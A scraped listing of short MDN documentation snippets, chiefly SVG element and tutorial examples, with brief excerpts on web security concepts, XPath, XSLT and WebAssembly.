example <svg width="100%" height="100%" viewbox="0 0 1000 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <text id="referencedtext"> referenced character data </text> </defs> <text x="100" y="100" font-size="45" > inline character data </text> <text x="100" y="200" font-size="45" fill="red" > <tref xlink:href="#referencedtext"/> </text> <!-- show outline of canvas using 'rect'...
<tspan> - SVG: Scalable Vector Graphics
WebSVGElementtspan
html,body,svg { height:100% } <svg viewbox="0 0 240 40" xmlns="http://www.w3.org/2000/svg"> <style> text { font: italic 12px serif; } tspan { font: bold 10px sans-serif; fill: red; } </style> <text x="10" y="30" class="small"> you are <tspan>not</tspan> a banana!
<use> - SVG: Scalable Vector Graphics
WebSVGElementuse
html,body,svg { height:100% } <svg viewbox="0 0 30 10" xmlns="http://www.w3.org/2000/svg"> <circle id="mycircle" cx="5" cy="5" r="4" stroke="blue"/> <use href="#mycircle" x="10" fill="blue"/> <use href="#mycircle" x="20" fill="white" stroke="red"/> <!-- stroke="red" will be ignored here, as stroke was already set on mycircle.
<view> - SVG: Scalable Vector Graphics
WebSVGElementview
usage context categoriesnonepermitted contentany number of the following elements, in any order:descriptive elements attributes global attributes aria attributes » core attributes » global event attributes » externalresourcesrequired specific attributes viewbox preserveaspectratio zoomandpan viewtarget example svg <svg width="600" height="200" viewbox="0 0 600 200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <radialgradient id="gradient"> <stop offset="0%" stop-color="#8cffa0" /> <stop offset="100%" stop-color="#8ca0ff" /> </radialgradient> </defs> <circle r="50" cx="180" cy="50" style="fill:url(#gradient)"/> <view id="halfsizeview" viewbox="0 0 1200 400"/> <view id="normalsizeview" v...
Example - SVG: Scalable Vector Graphics
view the example <?xml version='1.0'?> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <title>a swarm of motes</title> <style type='text/css'> <![cdata[ label, input { width: 150px; display: block; float: left; margin-bottom: 10px; } label { text-align: right; width: 75px; padding-right: 20px; } br { clear: left; } ]]> </style> ...
SVG animation with SMIL - SVG: Scalable Vector Graphics
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100"> <title>svg smil animate with path</title> <rect x="0" y="0" width="300" height="100" stroke="black" stroke-width="1" /> <circle cx="0" cy="50" r="15" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="3s" repeatcount="indefinite" /> </circle> </svg> view live sample example 2...
Basic shapes - SVG: Scalable Vector Graphics
the code to generate that looks something like: <?xml version="1.0" standalone="no"?> <svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-w...
Basic Transformations - SVG: Scalable Vector Graphics
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="100" height="100"> <svg width="100" height="100" viewbox="0 0 50 50"> <rect width="50" height="50" /> </svg> </svg> the example above has basically the same effect as the one above, namely that the rect will be twice as large as specified.
Filter effects - SVG: Scalable Vector Graphics
<svg width="250" viewbox="0 0 200 85" xmlns="http://www.w3.org/2000/svg" version="1.1"> <defs> <!-- filter declaration --> <filter id="myfilter" filterunits="userspaceonuse" x="0" y="0" width="200" height="120"> <!-- offsetblur --> <fegaussianblur in="sourcealpha" stddeviation="4" result="blur"/> <feoffset in="blur" dx="4" dy="4" result="offsetblur"/> <!-- litpaint --> <fe...
Other content in SVG - SVG: Scalable Vector Graphics
this means, that you can use clips, masks, filters, rotations and all other tools of svg on the content: <svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <image x="90" y="-65" width="128" height="146" transform="rotate(45)" xlink:href="https://developer.mozilla.org/static/img/favicon144.png"/> </svg> screenshotlive sample embedding arbitrary xml since svg is an xml application, you can of course always embed arbitrary xml anywhere in...
Patterns - SVG: Scalable Vector Graphics
WebSVGTutorialPatterns
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient1"> <stop offset="5%" stop-color="white"/> <stop offset="95%" stop-color="blue"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="5%" stop-color="red"/> <stop offset="95%" stop-color="orange"/> </lineargradient> <pattern id="pattern" x="0" y="0" width=".25" height=".25"> <rect x="0" y="0"...
SVG Filters Tutorial - SVG: Scalable Vector Graphics
it is quite different to an xml id and only can be referenced within the actual filter.
SVG image element - SVG: Scalable Vector Graphics
in this basic example, a .jpg image referenced by an href attribute will be rendered inside an svg object: <?xml version="1.0" standalone="no"?> <!doctype svg public "-//w3c//dtd svg 1.1//en" "http://www.w3.org/graphics/svg/1.1/dtd/svg11.dtd"> <svg width="5cm" height="4cm" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="firefox.jpg" x="0" y="0" height="50px" width="50px"/> </svg> there are some important things to take note of (referenced from the w3 specs): if you do not set the x or y attributes, they will be set to 0.
SVG fonts - SVG: Scalable Vector Graphics
if you also specify the lang attribute on a glyph, you can further restrict it to certain languages (represented by xml:lang on the target) exclusively.
Tools for SVG - SVG: Scalable Vector Graphics
apache batik url: xmlgraphics.apache.org/batik/ batik is a set of open source tools under the roof of the apache software foundation.
SVG Tutorial - SVG: Scalable Vector Graphics
WebSVGTutorial
scalable vector graphics, svg, is a w3c xml dialect to mark up graphics.
Mixed content - Web security
active content examples this section lists some types of http requests which are considered active content: <script> (src attribute) <link> (href attribute) (this includes css stylesheets) <iframe> (src attribute) xmlhttprequest requests fetch() requests all cases in css where a <url> value is used (@font-face, cursor, background-image, and so forth).
Same-origin policy - Web security
cross-origin network access the same-origin policy controls interactions between two different origins, such as when you use xmlhttprequest or an <img> element.
Axes - XPath
WebXPathAxes
for further information on using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document.
id - XPath
WebXPathFunctionsid
notes the dtd of the xml document determines what attribute is an id.
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementnumber
syntax <xsl:number count=expression level="single" | "multiple" | "any" from=expression value=expression format=format-string lang=xml:lang-code letter-value="alphabetic" | "traditional" grouping-separator=character grouping-size=number /> required attributes none.
<xsl:sort> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementsort
syntax <xsl:sort select=expression order="ascending" | "descending" case-order="upper-first" | "lower-first" lang=xml:lang-code data-type="text" | "number" /> required attributes none.
Resources - XSLT: Extensible Stylesheet Language Transformations
xsl results firefox extension (presently awaiting review) - allows one to experiment with xsl, by applying xsl stylesheets (which are manually entered, found via a url or on the file-system) to an xml document (the currently-loaded document or a manually entered/pasted one).
Web technology for developers
dinicss: cascading style sheetsdemos of open web technologiesdeveloper guidesexsltevent referencehtml: hypertext markup languagehttpjavascriptmathmlopensearch description formatprivacy, permissions, and information securityprogressive web apps (pwas)svg: scalable vector graphicstutorialsweb apisweb componentsweb performanceweb app manifestsweb media technologiesweb securityweb technology referencexml: extensible markup languagexpathxslt: extensible stylesheet language transformations ...
Index - WebAssembly
8 index index, webassembly found 12 pages: 9 loading and running webassembly code fetch, javascript, webassembly, xmlhttprequest, bytecode to use webassembly in javascript, you first need to pull your module into memory before compilation/instantiation.